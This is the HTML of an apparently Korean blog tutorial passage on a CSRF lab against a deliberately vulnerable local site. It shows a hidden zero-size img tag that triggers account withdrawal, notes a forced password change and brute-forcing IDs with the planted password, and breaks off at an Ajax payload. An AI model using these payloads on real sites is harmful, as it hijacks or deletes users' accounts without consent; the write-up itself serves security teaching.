&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d3CHJq/btsL8ekl2Ux/A0xR4aMprk5nq0hytCr7Uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d3CHJq/btsL8ekl2Ux/A0xR4aMprk5nq0hytCr7Uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d3CHJq/btsL8ekl2Ux/A0xR4aMprk5nq0hytCr7Uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd3CHJq%2FbtsL8ekl2Ux%2FA0xR4aMprk5nq0hytCr7Uk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;458&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;458&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 클릭하자마자 회원정보 수정완료 메시지가 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U8HRq/btsL7RCSZLS/Un1KxsT7lgkAI0BBqH7qWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U8HRq/btsL7RCSZLS/Un1KxsT7lgkAI0BBqH7qWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U8HRq/btsL7RCSZLS/Un1KxsT7lgkAI0BBqH7qWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU8HRq%2FbtsL7RCSZLS%2FUn1KxsT7lgkAI0BBqH7qWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;252&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그아웃 후 test 계정으로 접속을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 비밀번호는 test 였지만 입력하니 로그인이 되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VtZyP/btsL9oTO9DK/bekso1A2EpdttVZmUiCye1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VtZyP/btsL9oTO9DK/bekso1A2EpdttVZmUiCye1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VtZyP/btsL9oTO9DK/bekso1A2EpdttVZmUiCye1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVtZyP%2FbtsL9oTO9DK%2Fbekso1A2EpdttVZmUiCye1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;242&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경된 비밀번호 victim 으로 입력하니 로그인이 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7uf29/btsL9oGidTl/SVkRYnyMA75nv2AYpu5LBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7uf29/btsL9oGidTl/SVkRYnyMA75nv2AYpu5LBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7uf29/btsL9oGidTl/SVkRYnyMA75nv2AYpu5LBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7uf29%2FbtsL9oGidTl%2FSVkRYnyMA75nv2AYpu5LBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;572&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 것은 위 게시글들은 특정 사용자만이 회원정보가 변경되는 것이 아닌, 게시글을 읽은 모든 사용자의 회원정보가 변경되므로 누가 게시글을 읽었는지 알 수가 없다. 이런 경우에는 많이 사용하는 ID들을 사전으로 모아둔 자료를 이용해서 victim 비밀번호로 로그인이 되는 계정을 무작위로 찾는 방법이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 읽게되면 회원탈퇴를 하는 CSRF 공격을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원탈퇴를 하면 어떤 요청값을 보내는지 확인하기 위해 버프스위트를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 계정(희생자)으로 회원 탈퇴를 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;749&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLVeO4/btsL8bnBUsO/KcqaMKFSuCm4nVVdx4nMV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLVeO4/btsL8bnBUsO/KcqaMKFSuCm4nVVdx4nMV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLVeO4/btsL8bnBUsO/KcqaMKFSuCm4nVVdx4nMV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLVeO4%2FbtsL8bnBUsO%2FKcqaMKFSuCm4nVVdx4nMV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;749&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;749&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;664&quot; data-origin-height=&quot;426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wiVyy/btsL8cthBcl/vm3zq3yOuTrrmklenYxAKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wiVyy/btsL8cthBcl/vm3zq3yOuTrrmklenYxAKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wiVyy/btsL8cthBcl/vm3zq3yOuTrrmklenYxAKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwiVyy%2FbtsL8cthBcl%2Fvm3zq3yOuTrrmklenYxAKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;664&quot; height=&quot;426&quot; data-origin-width=&quot;664&quot; data-origin-height=&quot;426&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원탈퇴를 진행하면 withdrawal.php 라는 페이지로 요청하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/withdrawal.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 URL 을 사용하면 굳이 form 태그도 필요하지 않으며,&amp;nbsp; XSS 취약점이 발생할 필요없이 URL 만 요청하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원탈퇴 실습을 하기위해 test 계정으로 재가입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 현재 가입된 계정 목록을 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;173&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAWJUE/btsL7yjlBqI/PyQm4fxX4v5t1fyokhs1G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAWJUE/btsL7yjlBqI/PyQm4fxX4v5t1fyokhs1G0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAWJUE/btsL7yjlBqI/PyQm4fxX4v5t1fyokhs1G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAWJUE%2FbtsL7yjlBqI%2FPyQm4fxX4v5t1fyokhs1G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;762&quot; height=&quot;173&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;173&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 4개의 계정이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 회원 탈퇴를 유도하는 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img&amp;gt;&lt;span style=&quot;background-color: #ffffff; color: #24292f; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;태그를 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #24292f; text-align: start;&quot;&gt;&amp;lt;img&amp;gt; 태그는 표시할 이미지를 지정할 때 src 속성에 이미지의 URL을 입력하는 방식을 사용하는데, 여기서 src 속성에 회원 탈퇴 하는 URL을 입력한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #24292f; text-align: start;&quot;&gt;공격 페이로드&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738765183393&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;http://192.168.56.1/insecure_website/withdrawal.php&quot; width=&quot;0&quot; height=&quot;0&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 확인하는 사용자가 눈치채지 못하도록 width 와 height 를 0으로 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;539&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KC3vJ/btsL7E4TF94/Dd9utLgT7oBiaS08KMbX81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KC3vJ/btsL7E4TF94/Dd9utLgT7oBiaS08KMbX81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KC3vJ/btsL7E4TF94/Dd9utLgT7oBiaS08KMbX81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKC3vJ%2FbtsL7E4TF94%2FDd9utLgT7oBiaS08KMbX81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;539&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;539&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC에서 test 계정으로 로그인 후 회원탈퇴 요청 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NQZUh/btsL9Nlx4NN/aoueNOEvTIpTGRgCzwXrT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NQZUh/btsL9Nlx4NN/aoueNOEvTIpTGRgCzwXrT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NQZUh/btsL9Nlx4NN/aoueNOEvTIpTGRgCzwXrT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNQZUh%2FbtsL9Nlx4NN%2FaoueNOEvTIpTGRgCzwXrT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;500&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 클릭하니 아무 내용도 확인되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;599&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MaFHT/btsL7DSo6oe/HIA1wPKl4TIkQr4bKwUDmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MaFHT/btsL7DSo6oe/HIA1wPKl4TIkQr4bKwUDmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MaFHT/btsL7DSo6oe/HIA1wPKl4TIkQr4bKwUDmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMaFHT%2FbtsL7DSo6oe%2FHIA1wPKl4TIkQr4bKwUDmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;599&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;599&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MyPage 를 클릭하니 존재하지 않는 사용자라는 메시지가 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;253&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xKEGI/btsL7Ew33aC/NRATKqG1n8v7ctImePBYj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xKEGI/btsL7Ew33aC/NRATKqG1n8v7ctImePBYj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xKEGI/btsL7Ew33aC/NRATKqG1n8v7ctImePBYj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxKEGI%2FbtsL7Ew33aC%2FNRATKqG1n8v7ctImePBYj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;253&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;253&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 Home 으로 돌아가니 로그아웃 되어 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dv7vyL/btsL7e6JFoB/GWkatFYFfsg3W9RMPhCQkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dv7vyL/btsL7e6JFoB/GWkatFYFfsg3W9RMPhCQkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dv7vyL/btsL7e6JFoB/GWkatFYFfsg3W9RMPhCQkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdv7vyL%2FbtsL7e6JFoB%2FGWkatFYFfsg3W9RMPhCQkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;480&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 계정으로 로그인을 시도하니 아래와 같은 경고창이 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cm6ciN/btsL7fqZARw/vCR47lylRJmhlkaLfu7nAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cm6ciN/btsL7fqZARw/vCR47lylRJmhlkaLfu7nAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cm6ciN/btsL7fqZARw/vCR47lylRJmhlkaLfu7nAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcm6ciN%2FbtsL7fqZARw%2FvCR47lylRJmhlkaLfu7nAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;238&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 회원 목록을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from members;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8EplH/btsL9LaceAz/HI6gQ0C2TYf2jfxC4mOYK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8EplH/btsL9LaceAz/HI6gQ0C2TYf2jfxC4mOYK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8EplH/btsL9LaceAz/HI6gQ0C2TYf2jfxC4mOYK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8EplH%2FbtsL9LaceAz%2FHI6gQ0C2TYf2jfxC4mOYK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;785&quot; height=&quot;159&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 4개 계정이 확인되었는데, 현재는 test 계정을 제외한 3개 계정이 확인되는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트의 HTTP history 에서 요청 기록을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=53 게시글을 확인하니 회원탈퇴 페이지로 GET 요청이 이루어진 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DiRzJ/btsL7EKxOD8/SKg2GL4isB8OSD7RjWqMAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DiRzJ/btsL7EKxOD8/SKg2GL4isB8OSD7RjWqMAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DiRzJ/btsL7EKxOD8/SKg2GL4isB8OSD7RjWqMAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDiRzJ%2FbtsL7EKxOD8%2FSKg2GL4isB8OSD7RjWqMAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1170&quot; height=&quot;328&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img&amp;gt; 태그를 이용해서 src 속성값에 회원탈퇴 URL을 넣었기때문에 웹 브라우저는 이미지에 대한 URL인줄 알고 요청하게 된 것이다. 해당 요청을 통해 회원탈퇴가 발생하게 된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메소드에 따라 사용하는 태그가 달라진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET 방식 Action &amp;rarr;&amp;nbsp; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;lt;img&amp;gt; 태그 사용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;POST 방식 Action &amp;rarr; &amp;lt;body&amp;gt;, &amp;lt;form&amp;gt; 태그 중복으로 사용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;실습6-3 Ajax를 활용한 Stealth CSRF 공격&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Ajax를 활용하여 회원 정보 수정 및 패스워드 변경을 동시에 진행하는 CSRF 공격을 실습해본다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Ajax 사용 방법&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- XML HTTP Request 객체 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- jQuery 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 XML HTTP Request 객체를 사용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;true: 비동기화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;false: 동기화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; CSRF 페이로드 샘플 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738768250097&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
